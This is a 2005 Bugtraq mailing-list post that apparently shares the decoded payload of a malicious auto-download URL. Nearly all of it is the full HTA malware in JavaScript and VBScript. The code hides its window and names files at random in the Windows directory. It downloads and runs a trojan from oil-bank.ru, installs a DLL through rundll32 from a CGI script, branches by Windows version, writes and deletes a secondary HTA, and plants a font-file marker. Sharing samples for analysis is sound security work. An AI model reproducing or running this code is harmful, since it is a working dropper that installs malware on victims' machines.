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Date: 26 Apr 2005 06:01:31 -0000
From: joke0 <joke0@...cali.fr>
To: bugtraq@...urityfocus.com
Subject: Re: New auto download / install / exploit URL?
In-Reply-To: <BE8F2DE1.1B07C%gandalf@...ital.net>
Hi,
Gandalf The White:
>Someone want to take the time to decode?
Not so easy, but done.
The decrypted result of this hta leads to an intermediate javascript code (not provided here). Once this one is decrypted too, we get the HTA, pasted below.
Explanations on what the code does are welcome ;-)
<TEXTAREA id="Main_HTA">
<HTML><HEAD>
<HTA:APPLICATION id=PXP
APPLICATIONNAME="PXP"
SHOWINTASKBAR=NO
CAPTION=YES
SINGLEINSTANCE=YES
MAXIMIZEBUTTON=NO
MINIMIZEBUTTON=NO
WINDOWSTATE=MINIMIZE
/>
</HEAD>
<BODY>
<SCRIPT>
function Dl(Rp,Ln,Rs,dll)
{
try
{
sAX=unescape("%41DODB%2eStream");
var oS=new ActiveXObject(sAX);
var oX=new ActiveXObject("Microsoft.XMLHTTP");
oX.Open("GET",Rp,0);
oX.Send();
var XB=oX.responseBody;
oS.Type=1;
oS.Mode=3;
oS.Open;
oS.Write(XB);
oS.SaveToFile(Ln,2);
var oA=new ActiveXObject("Shell.Application");
if (dll==0)
{
Cmd=Ln+" "+Rs;
oA.ShellExecute(Cmd);
}
else
{
Cmd=Ln+Rs;
oA.ShellExecute("rundll32",Cmd);
}
}
catch(e){}
}
self.moveTo(5000,5000);
</TEXTAREA>
<SCRIPT language="VBScript">
ssfDESKTOP = 0
ssfPROGRAMS = 2
ssfSTARTMENU = 11
ssfDESKTOPDIRECTORY = 16
ssfFONTS=20
ssfCOMMONSTARTMENU = 22
ssfCOMMONPROGRAMS = 23
ssfCOMMONSTARTUP = 24
ssfCOMMONDESKTOPDIR = 25
ssfCOMMONALTSTARTUP = 30
ssfCOMMONFAVORITES = 31
ssfCOMMONAPPDATA = 35
ssfWINDOWS = 36
ssfSYSTEM = 37
Dim oXMLHTTP
Dim oShellApp
Dim oFolder
Dim oFolderItem
Dim PluginFile
Dim WinDir
Dim EnvStrings
Dim Font_Path_Components
Dim XMLBody
Dim cByte
Dim ByteCode
Dim Main_HTA_Body
Dim Cmd_Params
Dim Module_Path
Dim Trojan_Path
Dim IntervalID
Dim nCmdCalled
nCmdCalled=0
WinEnv_Mask="windir="
Exploit_Path=document.location.href
j=InStrRev(Exploit_Path,"/",-1,1)
Exploit_Path=Left(Exploit_Path,j)
If InStr(Exploit_Path,"cgi-bin")<>0 Then
CGI_Script_Path=Exploit_Path & "rcounter.cgi"
Else
CGI_Script_Path=Exploit_Path & "cgi-bin/psde/rcounter.cgi"
End If
InitPaths()
Randomize
self.MoveTo 6000,6000
ExeName=GenerateName()
ExeName=ExeName & ".exe"
DllName=GenerateName()
DllName=DllName & ".dll"
HTAName=GenerateName()
HTAName=HTAName & ".hta"
Set oShellApp = CreateObject("Shell.Application")
Set oFolder = oShellApp.NameSpace(ssfFONTS)
Set oFolderItem=oFolder.ParseName("Symbol.ttf")
TestName=oFolderItem.Path
xTestName=Replace(TestName,"Symbol","Symbolw",1,-1,vbTextCompare)
Font_Path_Components=Split(oFolderItem.Path,"\",-1,1)
WinDir= Font_Path_Components(0) & "\" & Font_Path_Components(1) & "\"
ExeName=WinDir & ExeName
DllName=WinDir & DllName
HTAName=WinDir & HTAName
On Error Resume Next
Set oFolderItem = oFolder.ParseName("Symbolw.ttf")
If Err.number <> 0 Then
Call Run_Installer
Else
LinkPath=oFolderItem.Path
If LinkPath="" Then
Call Run_Installer
Else
self.Close
End If
End If
setTimeout "HangUp()",9000
Sub Run_Installer
Main_HTA_Body=document.all.Main_HTA.innerText
Download_Call="Dl('" & Trojan_Path & "'" & "," & "'" & ExeName & "'" & "," & "'',0);"
Download_Call=Replace(Download_Call,"\","\\")
Main_HTA_Body= Main_HTA_Body & Download_Call
Download_Call= "Dl('" & CGI_Script_Path & "?action=install" & "'" & ","_
& "'" & DllName & "'" & ","_
& "'" & ",InstallWMH " & Trojan_Path & " " & CGI_Script_Path & "'"_
& ",1);"
Download_Call=Replace(Download_Call,"\","\\")
Main_HTA_Body= Main_HTA_Body & Download_Call
Main_HTA_Body= Main_HTA_Body & "self.close();</SCR" & "IPT></BODY>"
Main_HTA_Body=Replace(Main_HTA_Body,vbCrLf,"")
' Prepare the string that will be passed to cmd.exe
Main_HTA_Body=Replace(Main_HTA_Body,">","^>")
Main_HTA_Body=Replace(Main_HTA_Body,"<","^<")
WinOS=Get_Win_Version
Select Case WinOS
Case "NT"
Call Download_and_Execute(Trojan_Path,ExeName,"",0)
RunCommand="," & "InstallWMH " & Trojan_Path & " " & CGI_Script_Path
Call Download_and_Execute(CGI_Script_Path & "?action=install",DllName,RunCommand,1)
Cmd_Params="cmd /c copy " & TestName & " " & xTestName
MSplay.Run (Cmd_Params),1,FALSE
Case "2K"
' Create an additional HTA file (can't be greater than 1000 bytes)
Cmd_Params="/c echo " & Main_HTA_Body & " > " & HTAName
oShellApp.ShellExecute "cmd",Cmd_Params,"open"
oShellApp.ShellExecute "mshta",HTAName
Cmd_Params="/c copy " & TestName & " " & xTestName
oShellApp.ShellExecute "cmd", Cmd_Params
Cmd_Params="/c del " & HTAName
IntervalID=setInterval("Delete_HTA(Cmd_Params)",3000)
Case "XP"
' Create an additional HTA file (can't be greater than 1000 bytes)
Cmd_Params="/c echo " & Main_HTA_Body & " > " & HTAName
oShellApp.ShellExecute "cmd",Cmd_Params,"open"
oShellApp.ShellExecute "mshta",HTAName
Cmd_Params="/c copy " & TestName & " " & xTestName
oShellApp.ShellExecute "cmd", Cmd_Params
Cmd_Params="/c del " & HTAName
IntervalID=setInterval("Delete_HTA(Cmd_Params)",3000)
Case Else
Call Download_and_Execute(Trojan_Path,ExeName,"",0)
RunCommand="," & "InstallWMH " & Trojan_Path & " " & CGI_Script_Path
Call Download_and_Execute(CGI_Script_Path & "?action=install",DllName,RunCommand,1)
Cmd_Params="command /c copy " & TestName & " " & xTestName
MSplay.Run (Cmd_Params),1,FALSE
End Select
End Sub
Sub Download_and_Execute(Remote_path,Local_name,Run_params,Run_by_Rundll32)
set oXMLHTTP = CreateObject("Microsoft.XMLHTTP")
Module_Path=Remote_path
OpenSession()
GetStatus=GetFile()
If GetStatus=0 Then
Plugin_size=LenB(XMLBody)
Set PluginFile=MSmedia.CreateTextFile(Local_name, TRUE)
For j=1 To Plugin_size
cByte=MidB(XMLBody,j,1)
ByteCode=AscB(cByte)
WriteFile()
Next
PluginFile.Close
If Run_by_Rundll32 = 0 Then
Cmd=Local_name & " " & Run_params
Else
Cmd="rundll32" & " " & Local_name & Run_params
End If
On Error Resume Next
MSplay.Run (Cmd),1,FALSE
End If
set oXMLHTTP=Nothing
End Sub
Function HangUp()
clearInterval(IntervalID)
self.Close
End Function
Function Delete_HTA(params)
If nCmdCalled<4 Then
oShellApp.ShellExecute "cmd",params
nCmdCalled=nCmdCalled+1
End If
End Function
Function Get_Win_Version()
IEversion=navigator.appVersion
If InStr(IEversion,"Windows 95") <> 0 Then
Get_Win_Version="95"
ElseIf InStr(IEversion,"Windows NT 4") <> 0 Then
Get_Win_Version="NT"
ElseIf InStr(IEversion,"Win 9x 4.9") <> 0 Then
Get_Win_Version="ME"
ElseIf InStr(IEversion,"Windows 98") <> 0 Then
Get_Win_Version="98"
ElseIf InStr(IEversion,"Windows NT 5.0") <> 0 Then
Get_Win_Version="2K"
ElseIf InStr(IEversion,"Windows NT 5.1") <> 0 Then
Get_Win_Version="XP"
Else
Get_Win_Version="Unknown"
End If
End Function
Function WriteFile
PluginFile.Write(Chr(ByteCode))
End Function
Function GetFile
oXMLHTTP.Send()
On Error Resume Next
XMLBody=oXMLHTTP.responseBody
If Err.number <> 0 Then
GetFile=-1
Else
GetFile=0
End If
End Function
Function OpenSession
Req_type="G" & "E" & "T"
HTTPSession=oXMLHTTP.Open(Req_Type,Module_Path,0)
End Function
Function GenerateName()
RandomName=""
rr=Int(8*Rnd)
ik=0
Do
ii=Int(25*Rnd)+97
RandomName=RandomName+Chr(ii)
ik=ik+1
Loop While ik<rr
GenerateName=RandomName
End Function
Function InitPaths
Trojan_Path="http://www.oil-bank.ru/psde.exe"
End Function
</SCRIPT>
</BODY></HTML>
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